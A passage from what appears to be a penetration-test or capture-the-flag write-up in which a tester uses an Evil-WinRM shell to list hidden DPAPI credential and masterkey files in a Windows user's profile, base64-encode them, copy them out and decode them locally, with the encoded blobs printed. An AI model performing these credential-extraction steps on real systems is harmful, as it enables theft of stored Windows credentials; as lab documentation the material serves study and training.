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
The tester copied the base64 blob and saved to local file “local-credential.b64”.
Then, the tester decoded the blob and saved to another file, without the b64 extension:
1
$ cat local-credential.b64 | base64 -d > local-credential
The tester did the same process to the second credential, located in appdata/roaming:
1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\credentials> dir -h
Directory: C:\users\c.neri\appdata\roaming\microsoft\credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\credentials> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\roaming\microsoft\credentials\C4BB96844A5C9DD45D5B6A9859252BA6"))
AQAAAKIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAo0HPmVKl90yo16yi1vczmwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAANlsnh9uZhRwM1xc/8CNBwwAAAAABIAAAKAAAAAQAAAAK+zRTF7v+bPA1UScG2CL4uAAAABoyaUl8s/1J1TabkeZkP1VvjzlbcQ61ojdLQpks7Q0/irEKMmlFOJ/Za2o8akFz3kS28HEeNGkg/3kGNOvhVbnZ2NJQHTJ12SgjFuAuPhdS9Ob2CvqW9xu7pDGXPt5AHKqlqRy+fajjcEYkGP0ki6sLBF/rpFnQvRQ9hCg8iVqyq3BpSdwOZ1h0Zxh8mbvDPv+XHw9+o6DabZifdfj+GuMRi+GDNLvv8orYUqHZ6hHO3vB4kDu5T4G8QsIAtULBs3V2ww1G7xdGI57BGKi4LEk6kuaEWopsCflsc5FK4a4xBQAAABSjIrXKMIH3qbzDSrnPMUzCyhkAA==
Saved the base64 blob to a file and decoded it:
1
$ cat roaming-credential.b64 | base64 -d > roaming-credential
Then, the tester headed to where the masterkeys are located, and got a hold on the first one:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> dir -h
Directory: C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 1:17 PM 740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs- 6/7/2024 1:17 PM 740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs- 6/7/2024 1:17 PM 904 BK-VINTAGE
-a-hs- 6/7/2024 1:17 PM 24 Preferred
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847"))
AgAAAAAAAAAAAAAANABkAGIAZgAwADQAZAA4AC0ANQAyADkAYgAtADQAYgA0AGMALQBiADQAYQBlAC0AOABlADgANwA1AGUANABmAGUAOAA0ADcAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA2or8mZsV0QcGzC0XUJ9K8FBGAAAJgAAAA2YAAJhSpSk/CQYorLpjFuO6lxoHg+a9CGghh0pqkMYfO5Irop3dQGYbS2b3KJo0qLO586XfAvV/0dK/fM8a4erXENVlgtsrHRG48O/VO0Egw0qMZld65hY3jxMWTkzfGqfjNK5ytEtwPHGkAgAAAFiAHjGrO47Qhcn7oxZZBrBQRgAACYAAAANmAABRlZY9IPg0gA9TOU3DaFwm1ylSDyf2HHVE2mTqFzwbK7ZHp2XH8Mx2rvk6EpPUtdIv4kkQU6GsO43Xyg+qcks13CkP8uIIo0ECAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwGUQAxdTpQrS3sEc8gVH9tmXllgaPOCz8cyowsRu8fkbCLFyIcsLVGKHQRv3PUJ1qmSeC604xcQlXI43XddWfFZ3tFF1yLQOSNwfbKDdGQiF3yTlYb6KoMvhQXzs1O1LLP2cUEFOGw8+Pg8uMN4KDBURRWfqmRksyn38bg3OKFSQ1K0CpdNzKfPvS6TnGuvHvnglzZdT5qwQ+nOdXFuJccenatjtlVgQNdp6yZOmpQjrkTtZOxz9b0JRsoOQS0NWu7WThQU4s8yeZkHaJRSJ5lohgdYpZiLJ4x1lG5jLz7/IX5pP6UK1cq5KwLjvaMdGsK9GDj3ofoB/OldTS7StCAXHfzvgjmTscAdxSARKV8ekuDWjsXgz7iZkV04lUG5Jo2FD9xrFdY1DqTSbr7oLdHAwzFBQX5RGnDhKFJXA0KJ29sz1zHGVn4/J4k0e/Hkop6YwRfEighbU=
And the second one:
1
2
*Evil-WinRM* PS C:\users\c.neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\C.Neri\appdata\roaming\microsoft\protect\S-1-5-21-4024337825-2033394866-2055507597-1115\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b"))
AgAAAAAAAAAAAAAAOQA5AGMAZgA0ADEAYQAzAC0AYQA1ADUAMgAtADQAYwBmADcALQBhADgAZAA3AC0AYQBjAGEAMgBkADYAZgA3ADMAMwA5AGIAAAAAAAAAAAAAAAAAiAAAAAAAAABoAAAAAAAAAAAAAAAAAAAAdAEAAAAAAAACAAAA6o788ZIMNhaSpbkSX0mC01BGAAAJgAAAA2YAABAM9ZX6Z/40RYL/aC+dw/D5oa7WMYBN56zwgXYX4QrAIb4DtJoM27zWgMxygJ36SpSHHHQGJMgTs6nZN5U/1q7DBIpQlsWk15jpmUFS2czCScuP9C+dGdYT+p6AWb3L7PZUPqNDHqZRAgAAALFxHXdcOeYbfN6CsYeVaYZQRgAACYAAAANmAABiEtEJeAVpg4QA0lnUzAsf6koPtccl1os9yZrj1gTAc/oSmhBNPEE3/VVVPZw9g3NP26Wj3vO36IOmtsXWYABkukmijrSaAZUCAAAAAAEAAFgAAACn2p9w/uXURbRTVVUG8NTwr2BFf0a0DhdM8JymBww6mzQt8tVsTbDmCZ/uZu3bzOAOUXODaGaJOOKqRm2W8rHPOZ27YjtD1pd0MFJDocNJwdhN5pwTdz2v2JsrVVVE363zZjXHeXefhuL5AMwMQr6gpTsCGcxrd1ziTN9Q1lH9QtnYE7OZlbrZPhiWO2vvdX+UQcKlgpxcSGLaczL53/UJXrvt9hueRn+YXxnK+fiyZ0gmjMlP+yuxOiKSvHM/UT6NmuYewnApQrOBO3A5F1XKHguHKT+VS187uBu/TO1ZT4/CrsKws1aG7EkIXhRKzEgukAwn5nZlU6YaADdeQRDzCR1D0ycJKFyZd4QE1Nt6Kbgr+ukbiurwBJd/D1a3+WWCw+S2OJVHB9qqlcW11heJd+v9eGe1Wf6/PYCvyyWMsvusF8XUswgKQbkH821vscyNmJWDwMply/ZvellKuGQ1/s5gVqUkALQ=
